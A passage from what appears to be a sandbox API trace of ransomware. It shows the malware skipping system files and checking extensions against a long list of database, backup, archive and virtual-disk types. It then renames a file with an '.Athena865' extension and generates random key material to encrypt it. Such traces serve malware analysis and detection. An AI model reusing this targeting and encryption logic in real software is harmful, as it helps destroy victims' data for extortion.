lpString2="ids.txt") returned 1 [0056.695] lstrcmpiW (lpString1="InfLR.cab", lpString2="ntuser.dat") returned -1 [0056.695] lstrcmpiW (lpString1="InfLR.cab", lpString2="perflogs") returned -1 [0056.695] lstrcmpiW (lpString1="InfLR.cab", lpString2="MSBuild") returned -1 [0056.695] lstrlenW (lpString="InfLR.cab") returned 9 [0056.695] lstrcpyW (in: lpString1=0x241e8c6, lpString2="InfLR.cab" | out: lpString1="InfLR.cab") returned="InfLR.cab" [0056.695] lstrlenW (lpString="InfLR.cab") returned 9 [0056.695] lstrlenW (lpString="Athena865") returned 9 [0056.695] lstrlenW (lpString=".dll") returned 4 [0056.695] lstrcmpiW (lpString1="InfLR.cab", lpString2=".dll") returned 1 [0056.695] lstrlenW (lpString=".lnk") returned 4 [0056.695] lstrcmpiW (lpString1="InfLR.cab", lpString2=".lnk") returned 1 [0056.695] lstrlenW (lpString=".ini") returned 4 [0056.695] lstrcmpiW (lpString1="InfLR.cab", lpString2=".ini") returned 1 [0056.695] lstrlenW (lpString=".sys") returned 4 [0056.695] lstrcmpiW (lpString1="InfLR.cab", lpString2=".sys") returned 1 [0056.695] lstrlenW (lpString="InfLR.cab") returned 9 [0056.695] lstrlenW (lpString="bak") returned 3 [0056.695] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0056.695] lstrlenW (lpString="ba_") returned 3 [0056.695] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0056.695] lstrlenW (lpString="dbb") returned 3 [0056.695] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0056.695] lstrlenW (lpString="vmdk") returned 4 [0056.695] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0056.695] lstrlenW (lpString="rar") returned 3 [0056.695] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0056.695] lstrlenW (lpString="zip") returned 3 [0056.695] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0056.695] lstrlenW (lpString="tgz") returned 3 [0056.695] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0056.696] lstrlenW (lpString="vbox") returned 4 [0056.696] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0056.696] lstrlenW (lpString="vdi") returned 3 [0056.696] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0056.696] lstrlenW (lpString="vhd") returned 3 [0056.696] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0056.696] lstrlenW (lpString="vhdx") returned 4 [0056.696] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0056.696] lstrlenW (lpString="avhd") returned 4 [0056.696] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0056.696] lstrlenW (lpString="db") returned 2 [0056.696] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0056.696] lstrlenW (lpString="db2") returned 3 [0056.696] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0056.696] lstrlenW (lpString="db3") returned 3 [0056.696] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0056.696] lstrlenW (lpString="dbf") returned 3 [0056.696] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0056.696] lstrlenW (lpString="mdf") returned 3 [0056.696] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0056.696] lstrlenW (lpString="mdb") returned 3 [0056.696] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0056.696] lstrlenW (lpString="sql") returned 3 [0056.696] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0056.696] lstrlenW (lpString="sqlite") returned 6 [0056.696] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0056.696] lstrlenW (lpString="sqlite3") returned 7 [0056.696] lstrcmpiW (lpString1="fLR.cab", lpString2="sqlite3") returned -1 [0056.696] lstrlenW (lpString="sqlitedb") returned 8 [0056.696] lstrcmpiW (lpString1="nfLR.cab", lpString2="sqlitedb") returned -1 [0056.696] lstrlenW (lpString="xml") returned 3 [0056.696] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0056.696] lstrlenW (lpString="$er") returned 3 [0056.696] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0056.697] lstrlenW (lpString="4dd") returned 3 [0056.697] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0056.697] lstrlenW (lpString="4dl") returned 3 [0056.697] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0056.697] lstrlenW (lpString="^^^") returned 3 [0056.697] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0056.697] lstrlenW (lpString="abs") returned 3 [0056.697] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0056.697] lstrlenW (lpString="abx") returned 3 [0056.697] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0056.697] lstrlenW (lpString="accdb") returned 5 [0056.697] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0056.697] lstrlenW (lpString="accdc") returned 5 [0056.697] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0056.697] lstrlenW (lpString="accde") returned 5 [0056.697] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0056.697] lstrlenW (lpString="accdr") returned 5 [0056.697] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0056.697] lstrlenW (lpString="accdt") returned 5 [0056.697] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0056.697] lstrlenW (lpString="accdw") returned 5 [0056.697] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0056.697] lstrlenW (lpString="accft") returned 5 [0056.697] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0056.697] lstrlenW (lpString="adb") returned 3 [0056.697] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0056.697] lstrlenW (lpString="adb") returned 3 [0056.697] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0056.697] lstrlenW (lpString="ade") returned 3 [0056.697] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0056.697] lstrlenW (lpString="adf") returned 3 [0056.697] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0056.697] lstrlenW (lpString="adn") returned 3 [0056.697] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0056.697] lstrlenW (lpString="adp") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0056.698] lstrlenW (lpString="alf") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0056.698] lstrlenW (lpString="ask") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0056.698] lstrlenW (lpString="btr") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0056.698] lstrlenW (lpString="cat") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0056.698] lstrlenW (lpString="cdb") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0056.698] lstrlenW (lpString="ckp") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0056.698] lstrlenW (lpString="cma") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0056.698] lstrlenW (lpString="cpd") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0056.698] lstrlenW (lpString="dacpac") returned 6 [0056.698] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0056.698] lstrlenW (lpString="dad") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0056.698] lstrlenW (lpString="dadiagrams") returned 10 [0056.698] lstrlenW (lpString="daschema") returned 8 [0056.698] lstrcmpiW (lpString1="nfLR.cab", lpString2="daschema") returned 1 [0056.698] lstrlenW (lpString="db-journal") returned 10 [0056.698] lstrlenW (lpString="db-shm") returned 6 [0056.698] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0056.698] lstrlenW (lpString="db-wal") returned 6 [0056.698] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0056.698] lstrlenW (lpString="dbc") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0056.698] lstrlenW (lpString="dbs") returned 3 [0056.698] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0056.699] lstrlenW (lpString="dbt") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0056.699] lstrlenW (lpString="dbv") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0056.699] lstrlenW (lpString="dbx") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0056.699] lstrlenW (lpString="dcb") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0056.699] lstrlenW (lpString="dct") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0056.699] lstrlenW (lpString="dcx") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0056.699] lstrlenW (lpString="ddl") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0056.699] lstrlenW (lpString="dlis") returned 4 [0056.699] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0056.699] lstrlenW (lpString="dp1") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0056.699] lstrlenW (lpString="dqy") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0056.699] lstrlenW (lpString="dsk") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0056.699] lstrlenW (lpString="dsn") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0056.699] lstrlenW (lpString="dtsx") returned 4 [0056.699] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0056.699] lstrlenW (lpString="dxl") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0056.699] lstrlenW (lpString="eco") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0056.699] lstrlenW (lpString="ecx") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0056.699] lstrlenW (lpString="edb") returned 3 [0056.699] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0056.700] lstrlenW (lpString="epim") returned 4 [0056.700] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0056.700] lstrlenW (lpString="fcd") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0056.700] lstrlenW (lpString="fdb") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0056.700] lstrlenW (lpString="fic") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0056.700] lstrlenW (lpString="flexolibrary") returned 12 [0056.700] lstrlenW (lpString="fm5") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0056.700] lstrlenW (lpString="fmp") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0056.700] lstrlenW (lpString="fmp12") returned 5 [0056.700] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0056.700] lstrlenW (lpString="fmpsl") returned 5 [0056.700] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0056.700] lstrlenW (lpString="fol") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0056.700] lstrlenW (lpString="fp3") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0056.700] lstrlenW (lpString="fp4") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0056.700] lstrlenW (lpString="fp5") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0056.700] lstrlenW (lpString="fp7") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0056.700] lstrlenW (lpString="fpt") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0056.700] lstrlenW (lpString="frm") returned 3 [0056.700] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0056.700] lstrlenW (lpString="gdb") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0056.701] lstrlenW (lpString="gdb") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0056.701] lstrlenW (lpString="grdb") returned 4 [0056.701] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0056.701] lstrlenW (lpString="gwi") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0056.701] lstrlenW (lpString="hdb") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0056.701] lstrlenW (lpString="his") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0056.701] lstrlenW (lpString="ib") returned 2 [0056.701] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0056.701] lstrlenW (lpString="idb") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0056.701] lstrlenW (lpString="ihx") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0056.701] lstrlenW (lpString="itdb") returned 4 [0056.701] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0056.701] lstrlenW (lpString="itw") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0056.701] lstrlenW (lpString="jet") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0056.701] lstrlenW (lpString="jtx") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0056.701] lstrlenW (lpString="kdb") returned 3 [0056.701] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0056.701] lstrlenW (lpString="kexi") returned 4 [0056.701] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0056.701] lstrlenW (lpString="kexic") returned 5 [0056.701] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0056.701] lstrlenW (lpString="kexis") returned 5 [0056.701] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0056.701] lstrlenW (lpString="lgc") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0056.702] lstrlenW (lpString="lwx") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0056.702] lstrlenW (lpString="maf") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0056.702] lstrlenW (lpString="maq") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0056.702] lstrlenW (lpString="mar") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0056.702] lstrlenW (lpString="marshal") returned 7 [0056.702] lstrcmpiW (lpString1="fLR.cab", lpString2="marshal") returned -1 [0056.702] lstrlenW (lpString="mas") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0056.702] lstrlenW (lpString="mav") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0056.702] lstrlenW (lpString="maw") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0056.702] lstrlenW (lpString="mdbhtml") returned 7 [0056.702] lstrcmpiW (lpString1="fLR.cab", lpString2="mdbhtml") returned -1 [0056.702] lstrlenW (lpString="mdn") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0056.702] lstrlenW (lpString="mdt") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0056.702] lstrlenW (lpString="mfd") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0056.702] lstrlenW (lpString="mpd") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0056.702] lstrlenW (lpString="mrg") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0056.702] lstrlenW (lpString="mud") returned 3 [0056.702] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0056.702] lstrlenW (lpString="mwb") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0056.703] lstrlenW (lpString="myd") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0056.703] lstrlenW (lpString="ndf") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0056.703] lstrlenW (lpString="nnt") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0056.703] lstrlenW (lpString="nrmlib") returned 6 [0056.703] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0056.703] lstrlenW (lpString="ns2") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0056.703] lstrlenW (lpString="ns3") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0056.703] lstrlenW (lpString="ns4") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0056.703] lstrlenW (lpString="nsf") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0056.703] lstrlenW (lpString="nv") returned 2 [0056.703] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0056.703] lstrlenW (lpString="nv2") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0056.703] lstrlenW (lpString="nwdb") returned 4 [0056.703] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0056.703] lstrlenW (lpString="nyf") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0056.703] lstrlenW (lpString="odb") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0056.703] lstrlenW (lpString="odb") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0056.703] lstrlenW (lpString="oqy") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0056.703] lstrlenW (lpString="ora") returned 3 [0056.703] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0056.704] lstrlenW (lpString="orx") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0056.704] lstrlenW (lpString="owc") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0056.704] lstrlenW (lpString="p96") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0056.704] lstrlenW (lpString="p97") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0056.704] lstrlenW (lpString="pan") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0056.704] lstrlenW (lpString="pdb") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0056.704] lstrlenW (lpString="pdm") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0056.704] lstrlenW (lpString="pnz") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0056.704] lstrlenW (lpString="qry") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0056.704] lstrlenW (lpString="qvd") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0056.704] lstrlenW (lpString="rbf") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0056.704] lstrlenW (lpString="rctd") returned 4 [0056.704] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0056.704] lstrlenW (lpString="rod") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0056.704] lstrlenW (lpString="rodx") returned 4 [0056.704] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0056.704] lstrlenW (lpString="rpd") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0056.704] lstrlenW (lpString="rsd") returned 3 [0056.704] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0056.704] lstrlenW (lpString="sas7bdat") returned 8 [0056.705] lstrcmpiW (lpString1="nfLR.cab", lpString2="sas7bdat") returned -1 [0056.705] lstrlenW (lpString="sbf") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0056.705] lstrlenW (lpString="scx") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0056.705] lstrlenW (lpString="sdb") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0056.705] lstrlenW (lpString="sdc") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0056.705] lstrlenW (lpString="sdf") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0056.705] lstrlenW (lpString="sis") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0056.705] lstrlenW (lpString="spq") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0056.705] lstrlenW (lpString="te") returned 2 [0056.705] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0056.705] lstrlenW (lpString="teacher") returned 7 [0056.705] lstrcmpiW (lpString1="fLR.cab", lpString2="teacher") returned -1 [0056.705] lstrlenW (lpString="tmd") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0056.705] lstrlenW (lpString="tps") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0056.705] lstrlenW (lpString="trc") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0056.705] lstrlenW (lpString="trc") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0056.705] lstrlenW (lpString="trm") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0056.705] lstrlenW (lpString="udb") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0056.705] lstrlenW (lpString="udl") returned 3 [0056.705] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0056.706] lstrlenW (lpString="usr") returned 3 [0056.706] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0056.706] lstrlenW (lpString="v12") returned 3 [0056.706] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0056.706] lstrlenW (lpString="vis") returned 3 [0056.706] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0056.706] lstrlenW (lpString="vpd") returned 3 [0056.706] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0056.706] lstrlenW (lpString="vvv") returned 3 [0056.706] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0056.706] lstrlenW (lpString="wdb") returned 3 [0056.706] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0056.706] lstrlenW (lpString="wmdb") returned 4 [0056.706] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0056.706] lstrlenW (lpString="wrk") returned 3 [0056.706] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0056.706] lstrlenW (lpString="xdb") returned 3 [0056.706] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0056.706] lstrlenW (lpString="xld") returned 3 [0056.706] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0056.706] lstrlenW (lpString="xmlff") returned 5 [0056.706] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0056.706] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.Athena865") returned 82 [0056.706] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.athena865"), dwFlags=0x1) returned 1 [0056.707] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0056.707] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18874884) returned 1 [0056.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0056.707] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0056.708] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.708] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0056.708] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200510, lpName=0x0) returned 0x17c [0056.710] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1200000, dwNumberOfBytesToMap=0x510) returned 0x100000 [0056.711] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0056.808] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0056.828] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0056.828] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.828] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0056.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.829] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0056.829] CloseHandle (hObject=0x17c) returned 1 [0056.829] CloseHandle (hObject=0x154) returned 1 [0056.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0056.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.838] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, 